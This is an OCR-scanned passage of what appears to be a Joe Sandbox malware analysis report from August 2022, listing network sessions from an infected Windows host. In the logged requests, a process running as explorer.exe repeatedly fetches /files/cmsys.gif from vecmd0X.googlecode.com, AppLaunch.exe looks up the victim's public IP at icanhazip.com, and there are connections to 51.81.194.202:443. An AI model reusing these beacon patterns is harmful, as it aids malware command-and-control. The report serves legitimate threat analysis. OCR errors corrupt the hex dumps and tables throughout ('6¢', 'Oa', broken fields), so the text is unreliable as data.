72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd03.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 9218 IN
09:10:59.763562918
CEST
Session ID Source IP Source Port
27 192.168.2.4 49811
. kBytes . .
T D
imestamp transferred irection
Aug 5, 2022 9225 ouTt
09:11:08.292252064
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:59 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp A Direction
Aug 5, 2022 9227 IN
09:11:08.321787119
CEST
Session ID Source IP Source Port
28 192.168.2.4 49812
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9228 ouT
09:11:10.739631891
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:11:08 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270 782061726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 7269 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
Ilwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp T Direction
Aug 5, 2022 9229 IN
09:11:10.766580105
CEST
Session ID Source IP Source Port
3 192.168.2.4 49789
. kBytes . .
Ti Di
imestamp transferred irection
Session ID Source IP Source Port
4 192.168.2.4 49798
) kBytes —
Ti Di
imestamp transferred irection
Session ID Source IP Source Port
5 192.168.2.4 49805
kB!
Timestamp ytes Direction
transferred
Session ID Source IP Source Port
6 192.168.2.4 49810

Copyright Joe Security LLC 2022

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:11:10 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

51.81.194.202 443 C:\Windows\System\explorer.exe
Data

Destination IP  Destination Port Process

51.81.194.202 443 C:\Windows\System\explorer.exe
Data

Destination IP Destination Port Process

51.81.194.202 443 C:\Windows\System\explorer.exe
Data

Destination IP Destination Port Process

51.81.194.202 443 C:\Windows\System\explorer.exe
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kBytes

Timestamp T Direction
Session ID Source IP Source Port
7 192.168.2.4 49753
kByt:
Timestamp yies Direction
transferred
Aug 5, 2022 924 ouT
09:09:15.496514082
CEST
Aug 5, 2022 924 IN
09:09:15.521750927
CEST
Session ID Source IP Source Port
8 192.168.2.4 49760
kByt:
Timestamp yes Direction
transferred
Aug 5, 2022 1146 ouT
09:09:28.219057083
CEST

Copyright Joe Security LLC 2022

104.18.114.97 80

142.250.145.82 80

Data

Destination IP Destination Port Process

C:\Windows\Microsoft. NET\Framework\v4.0.30319\AppLaunch.exe

Data

GET /HTTP/1.1
Host: icanhazip.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 05 Aug 2022 07:09:15 GMT

Content-Type: text/plain

Content-Length: 14

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET

Set-Cookie: __cf_bm=arDwI3mggsXldWCcpHOAVRR.9ilZ82B.5F5bdtJi3eY-1659683355-0-AVB0owPg7Q/jud4+qBksgRX
yPGsYBAVdtbK0ieU8WT0cB002n9hCHuXLiUxtbnbjs5gx931ualu4vOSzuEr75Aw=; path=/; expires=Fri, 05-Aug-22 07
:39:15 GMT; domain=.icanhazip.com; HitpOnly

Server: cloudflare

CF-RAY: 735db4cbeb5b9968-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 33 0a

Data Ascii: 102.129.143.3

Destination IP Destination Port Process

C:\Windows\System\explorer.exe

Data

GET /files/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 1148 IN
09:09:28.246371984
CEST
Session ID Source IP Source Port
9 192.168.2.4 49761
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1149 ouT
09:09:30.905103922
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:09:28 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
